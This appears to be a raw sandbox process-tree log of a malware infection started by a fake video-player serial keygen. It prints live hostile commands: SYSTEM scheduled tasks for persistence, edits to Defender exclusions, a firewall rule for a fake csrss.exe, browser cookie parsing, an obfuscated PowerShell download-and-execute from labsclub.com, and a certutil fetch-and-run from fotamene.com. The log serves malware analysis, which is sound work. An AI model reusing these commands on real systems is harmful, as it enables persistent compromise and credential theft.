C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TZXwQNgcU\xeMzyT.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NzcAGdTAXLwThnE" /V1 /F3⤵
- Creates scheduled task(s)
PID:8208
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NzcAGdTAXLwThnE2" /F /xml "C:\Program Files (x86)\TZXwQNgcU\MFBeLrd.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:9988
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NzcAGdTAXLwThnE"3⤵PID:4680
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NzcAGdTAXLwThnE"3⤵PID:7992
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "KZNhLgVclRIcrY" /F /xml "C:\Program Files (x86)\nZosbjLfGLdU2\sTMMEbt.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:11164
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UgXiIzMCLiXbI2" /F /xml "C:\ProgramData\achrhaRRbsGknaVB\gytQuQQ.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:8464
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NlpgMlJPLJUUIQgya2" /F /xml "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\nULuHkd.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:1692
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RrbJEmJiwUZfNkwHAcI2" /F /xml "C:\Program Files (x86)\EvBjrtBtUyzDC\RFfrBki.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:4104
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spusMcHmwIgi" /SC once /ST 10:34:40 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\VigWNWQq\FuytVhh.exe\" wv /S"3⤵
- Creates scheduled task(s)
PID:10836
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spusMcHmwIgi"3⤵PID:5836
-
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\VigWNWQq\FuytVhh.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\VigWNWQq\FuytVhh.exe wv /S2⤵PID:1372
-
-
C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\CBgReeE.exeC:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\CBgReeE.exe 7b /site_id 754 /S2⤵PID:11240
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bmIXAqnwlcZKDlfrrr"3⤵PID:7284
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:8808
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:8884
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:4340
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵PID:5828
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TZXwQNgcU\swqYjV.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NzcAGdTAXLwThnE" /V1 /F3⤵
- Creates scheduled task(s)
PID:11140
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NzcAGdTAXLwThnE2" /F /xml "C:\Program Files (x86)\TZXwQNgcU\XPayzfc.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:4112
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NzcAGdTAXLwThnE"3⤵PID:9356
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NzcAGdTAXLwThnE"3⤵PID:10512
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "KZNhLgVclRIcrY" /F /xml "C:\Program Files (x86)\nZosbjLfGLdU2\EZyJPVg.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:228
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UgXiIzMCLiXbI2" /F /xml "C:\ProgramData\achrhaRRbsGknaVB\hsbNBNg.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:5228
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NlpgMlJPLJUUIQgya2" /F /xml "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\aYSKbOX.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:7896
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RrbJEmJiwUZfNkwHAcI2" /F /xml "C:\Program Files (x86)\EvBjrtBtUyzDC\ATnAARe.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:11080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spuvlnhOieCt" /SC once /ST 02:17:36 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\cOgdmgGn\JQIWAgi.exe\" wv /S"3⤵
- Creates scheduled task(s)
PID:10768
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spuvlnhOieCt"3⤵PID:10356
-
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\cOgdmgGn\JQIWAgi.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\cOgdmgGn\JQIWAgi.exe wv /S2⤵PID:7740
-
-
C:\Windows\system32\wscript.exeC:\Windows\system32\wscript.exe "C:\ProgramData\achrhaRRbsGknaVB\GBHqgmu.wsf"2⤵PID:12640
-
-
C:\Users\Admin\AppData\Local\Temp\3d_Video_Player_4_5_serial_maker.exe"C:\Users\Admin\AppData\Local\Temp\3d_Video_Player_4_5_serial_maker.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2528 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:3412
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:1196
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3904 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:2324
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1032 -
C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe" 1 3.1616696298.605cd3eaf3f5d 1016⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7HYF7W0EBK\multitimer.exe" 2 3.1616696298.605cd3eaf3f5d7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4748 -
C:\Users\Admin\AppData\Local\Temp\5yohgcigixb\i0bjlfnxokh.exe"C:\Users\Admin\AppData\Local\Temp\5yohgcigixb\i0bjlfnxokh.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2560 -
C:\Users\Admin\AppData\Local\Temp\is-04K0C.tmp\i0bjlfnxokh.tmp"C:\Users\Admin\AppData\Local\Temp\is-04K0C.tmp\i0bjlfnxokh.tmp" /SL5="$2029A,2592217,780800,C:\Users\Admin\AppData\Local\Temp\5yohgcigixb\i0bjlfnxokh.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3900 -
C:\Users\Admin\AppData\Local\Temp\is-K15L7.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-K15L7.tmp\winlthsth.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2832 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2832 -s 69211⤵
- Drops file in Windows directory
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2756
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zah3ejos5pk\vict.exe"C:\Users\Admin\AppData\Local\Temp\zah3ejos5pk\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
PID:1032 -
C:\Users\Admin\AppData\Local\Temp\is-I64GR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-I64GR.tmp\vict.tmp" /SL5="$302E4,870426,780800,C:\Users\Admin\AppData\Local\Temp\zah3ejos5pk\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4324 -
C:\Users\Admin\AppData\Local\Temp\is-DIILF.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-DIILF.tmp\winhost.exe" 53510⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1172 -
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\iYa2T3XTl.dll"11⤵PID:8164
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\iYa2T3XTl.dll"12⤵
- Loads dropped DLL
PID:8816 -
C:\Windows\system32\regsvr32.exe/s "C:\Users\Admin\AppData\Local\Temp\iYa2T3XTl.dll"13⤵PID:8892
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C regsvr32 /s "C:\Users\Admin\AppData\Local\Temp\iYa2T3XTl.dllfRglZooog.dll"11⤵PID:4860
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32 /s "C:\Users\Admin\AppData\Local\Temp\iYa2T3XTl.dllfRglZooog.dll"12⤵PID:9044
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵PID:4004
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵PID:9448
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\zuztfsx03nt\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\zuztfsx03nt\Setup3310.exe" /Verysilent /subid=5778⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4632 -
C:\Users\Admin\AppData\Local\Temp\is-VCEK4.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-VCEK4.tmp\Setup3310.tmp" /SL5="$30292,138429,56832,C:\Users\Admin\AppData\Local\Temp\zuztfsx03nt\Setup3310.exe" /Verysilent /subid=5779⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3220 -
C:\Users\Admin\AppData\Local\Temp\is-7OMEJ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-7OMEJ.tmp\Setup.exe" /Verysilent10⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5188 -
C:\Program Files (x86)\Versium Research\Versium Research\customer5.exe"C:\Program Files (x86)\Versium Research\Versium Research\customer5.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5324 -
C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5700 -
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b edge13⤵PID:6728
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b chrome13⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:412
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\parse.exeparse.exe -f json -b firefox13⤵PID:5376
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\RunWW.exe"C:\Program Files (x86)\Versium Research\Versium Research\RunWW.exe"11⤵
- Executes dropped EXE
PID:5368 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5368 -s 78812⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:6804
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\Versium Research\Versium Research\jg7_7wjg.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5392
-
-
C:\Program Files (x86)\Versium Research\Versium Research\LabPicV3.exe"C:\Program Files (x86)\Versium Research\Versium Research\LabPicV3.exe"11⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5424 -
C:\Users\Admin\AppData\Local\Temp\is-M8DTN.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-M8DTN.tmp\LabPicV3.tmp" /SL5="$10466,239334,155648,C:\Program Files (x86)\Versium Research\Versium Research\LabPicV3.exe"12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5596 -
C:\Users\Admin\AppData\Local\Temp\is-QNJFD.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-QNJFD.tmp\ppppppfy.exe" /S /UID=lab21413⤵PID:5404
-
C:\Program Files\Windows Multimedia Platform\KRHGUVHSFD\prolab.exe"C:\Program Files\Windows Multimedia Platform\KRHGUVHSFD\prolab.exe" /VERYSILENT14⤵
- Suspicious use of SetWindowsHookEx
PID:6572 -
C:\Users\Admin\AppData\Local\Temp\is-97PLV.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-97PLV.tmp\prolab.tmp" /SL5="$4038A,575243,216576,C:\Program Files\Windows Multimedia Platform\KRHGUVHSFD\prolab.exe" /VERYSILENT15⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:6692
-
-
-
C:\Users\Admin\AppData\Local\Temp\02-689fa-60d-47c88-4a8272b8636bc\Mevokituci.exe"C:\Users\Admin\AppData\Local\Temp\02-689fa-60d-47c88-4a8272b8636bc\Mevokituci.exe"14⤵
- Checks computer location settings
PID:6604
-
-
C:\Users\Admin\AppData\Local\Temp\74-8662c-a19-ee8b5-1c2a2712d708a\Daqizhaeqoge.exe"C:\Users\Admin\AppData\Local\Temp\74-8662c-a19-ee8b5-1c2a2712d708a\Daqizhaeqoge.exe"14⤵PID:6624
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uvgdqotn.ut5\gaooo.exe & exit15⤵PID:6140
-
C:\Users\Admin\AppData\Local\Temp\uvgdqotn.ut5\gaooo.exeC:\Users\Admin\AppData\Local\Temp\uvgdqotn.ut5\gaooo.exe16⤵
- Suspicious use of SetWindowsHookEx
PID:5420 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵
- Suspicious use of SetWindowsHookEx
PID:8276
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:1156
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:4512
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt17⤵PID:11832
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qneacig2.qn5\md7_7dfj.exe & exit15⤵PID:8456
-
C:\Users\Admin\AppData\Local\Temp\qneacig2.qn5\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\qneacig2.qn5\md7_7dfj.exe16⤵PID:7492
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fzulzghn.33a\customer6.exe & exit15⤵PID:8884
-
C:\Users\Admin\AppData\Local\Temp\fzulzghn.33a\customer6.exeC:\Users\Admin\AppData\Local\Temp\fzulzghn.33a\customer6.exe16⤵PID:848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\evxrquqv.pn5\askinstall31.exe & exit15⤵PID:7952
-
C:\Users\Admin\AppData\Local\Temp\evxrquqv.pn5\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\evxrquqv.pn5\askinstall31.exe16⤵PID:8060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hptvhcvc.qga\HookSetp.exe & exit15⤵PID:8968
-
C:\Users\Admin\AppData\Local\Temp\hptvhcvc.qga\HookSetp.exeC:\Users\Admin\AppData\Local\Temp\hptvhcvc.qga\HookSetp.exe16⤵PID:7912
-
C:\ProgramData\250008.exe"C:\ProgramData\250008.exe"17⤵
- Suspicious behavior: SetClipboardViewer
PID:7300
-
-
C:\ProgramData\3006672.exe"C:\ProgramData\3006672.exe"17⤵PID:9404
-
-
C:\ProgramData\6586810.exe"C:\ProgramData\6586810.exe"17⤵PID:10192
-
-
C:\ProgramData\3644689.exe"C:\ProgramData\3644689.exe"17⤵PID:4000
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yyi501zz.j10\GcleanerWW.exe /mixone & exit15⤵PID:7776
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\toyp0o5z.0bd\19.exe & exit15⤵PID:4268
-
C:\Users\Admin\AppData\Local\Temp\toyp0o5z.0bd\19.exeC:\Users\Admin\AppData\Local\Temp\toyp0o5z.0bd\19.exe16⤵PID:4420
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javc\install.dll",install17⤵
- Loads dropped DLL
PID:2360
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gemlckje.sg4\setup.exe /8-2222 & exit15⤵PID:388
-
C:\Users\Admin\AppData\Local\Temp\gemlckje.sg4\setup.exeC:\Users\Admin\AppData\Local\Temp\gemlckje.sg4\setup.exe /8-222216⤵PID:6536
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Green-Leaf"17⤵PID:9384
-
-
C:\Program Files (x86)\Green-Leaf\7za.exe"C:\Program Files (x86)\Green-Leaf\7za.exe" e -p154.61.71.51 winamp-plugins.7z17⤵PID:6840
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Green-Leaf\setup.exe" -map "C:\Program Files (x86)\Green-Leaf\WinmonProcessMonitor.sys""17⤵PID:4236
-
C:\Program Files (x86)\Green-Leaf\setup.exe"C:\Program Files (x86)\Green-Leaf\setup.exe" -map "C:\Program Files (x86)\Green-Leaf\WinmonProcessMonitor.sys"18⤵PID:6180
-
-
-
C:\Program Files (x86)\Green-Leaf\7za.exe"C:\Program Files (x86)\Green-Leaf\7za.exe" e -p154.61.71.51 winamp.7z17⤵PID:5032
-
-
C:\Program Files (x86)\Green-Leaf\setup.exe"C:\Program Files (x86)\Green-Leaf\setup.exe" /8-222217⤵PID:4724
-
C:\Program Files (x86)\Green-Leaf\setup.exe"C:\Program Files (x86)\Green-Leaf\setup.exe" /8-222218⤵PID:7104
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"19⤵PID:9064
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes20⤵PID:3252
-
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2nkriusn.yhj\file.exe & exit15⤵PID:9260
-
C:\Users\Admin\AppData\Local\Temp\2nkriusn.yhj\file.exeC:\Users\Admin\AppData\Local\Temp\2nkriusn.yhj\file.exe16⤵PID:5444
-
C:\Users\Admin\AppData\Local\Temp\RarSFX5\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX5\Setup.exe"17⤵PID:1044
-
C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe" 0 3060197d33d91c80.94013368 0 10118⤵PID:4092
-
C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe" 1 3.1616696653.605cd54d86b36 10119⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\LOJ8P0MY0Q\multitimer.exe" 2 3.1616696653.605cd54d86b3620⤵PID:5904
-
C:\Users\Admin\AppData\Local\Temp\2jeeqo1wvg0\vict.exe"C:\Users\Admin\AppData\Local\Temp\2jeeqo1wvg0\vict.exe" /VERYSILENT /id=53521⤵PID:7012
-
C:\Users\Admin\AppData\Local\Temp\is-D6PQ9.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-D6PQ9.tmp\vict.tmp" /SL5="$80394,870426,780800,C:\Users\Admin\AppData\Local\Temp\2jeeqo1wvg0\vict.exe" /VERYSILENT /id=53522⤵PID:8896
-
C:\Users\Admin\AppData\Local\Temp\is-8DDFS.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-8DDFS.tmp\winhost.exe" 53523⤵PID:5004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\q43sra2xalj\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\q43sra2xalj\AwesomePoolU1.exe"21⤵PID:2028
-
-
C:\Users\Admin\AppData\Local\Temp\bf5azulxfff\gci3nm3p2gu.exe"C:\Users\Admin\AppData\Local\Temp\bf5azulxfff\gci3nm3p2gu.exe" /1-61021⤵PID:6884
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Young-Morning'22⤵PID:1404
-
-
C:\Program Files (x86)\Young-Morning\7za.exe"C:\Program Files (x86)\Young-Morning\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:10832
-
-
C:\Program Files (x86)\Young-Morning\gci3nm3p2gu.exe"C:\Program Files (x86)\Young-Morning\gci3nm3p2gu.exe" /1-61022⤵PID:4596
-
C:\Program Files (x86)\Young-Morning\gci3nm3p2gu.exe"C:\Program Files (x86)\Young-Morning\gci3nm3p2gu.exe" /1-61023⤵PID:664
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\g510pglo241\app.exe"C:\Users\Admin\AppData\Local\Temp\g510pglo241\app.exe" /8-2321⤵PID:10204
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Long-Bird"22⤵PID:8048
-
-
C:\Program Files (x86)\Long-Bird\7za.exe"C:\Program Files (x86)\Long-Bird\7za.exe" e -p154.61.71.51 winamp-plugins.7z22⤵PID:4600
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Long-Bird\app.exe" -map "C:\Program Files (x86)\Long-Bird\WinmonProcessMonitor.sys""22⤵PID:4092
-
C:\Program Files (x86)\Long-Bird\app.exe"C:\Program Files (x86)\Long-Bird\app.exe" -map "C:\Program Files (x86)\Long-Bird\WinmonProcessMonitor.sys"23⤵PID:6132
-
-
-
C:\Program Files (x86)\Long-Bird\7za.exe"C:\Program Files (x86)\Long-Bird\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:11176
-
-
C:\Program Files (x86)\Long-Bird\app.exe"C:\Program Files (x86)\Long-Bird\app.exe" /8-2322⤵PID:11256
-
C:\Program Files (x86)\Long-Bird\app.exe"C:\Program Files (x86)\Long-Bird\app.exe" /8-2323⤵PID:4920
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"24⤵PID:13248
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes25⤵PID:11144
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-2324⤵PID:4760
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F25⤵
- Creates scheduled task(s)
PID:12084
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F25⤵
- Creates scheduled task(s)
PID:12796
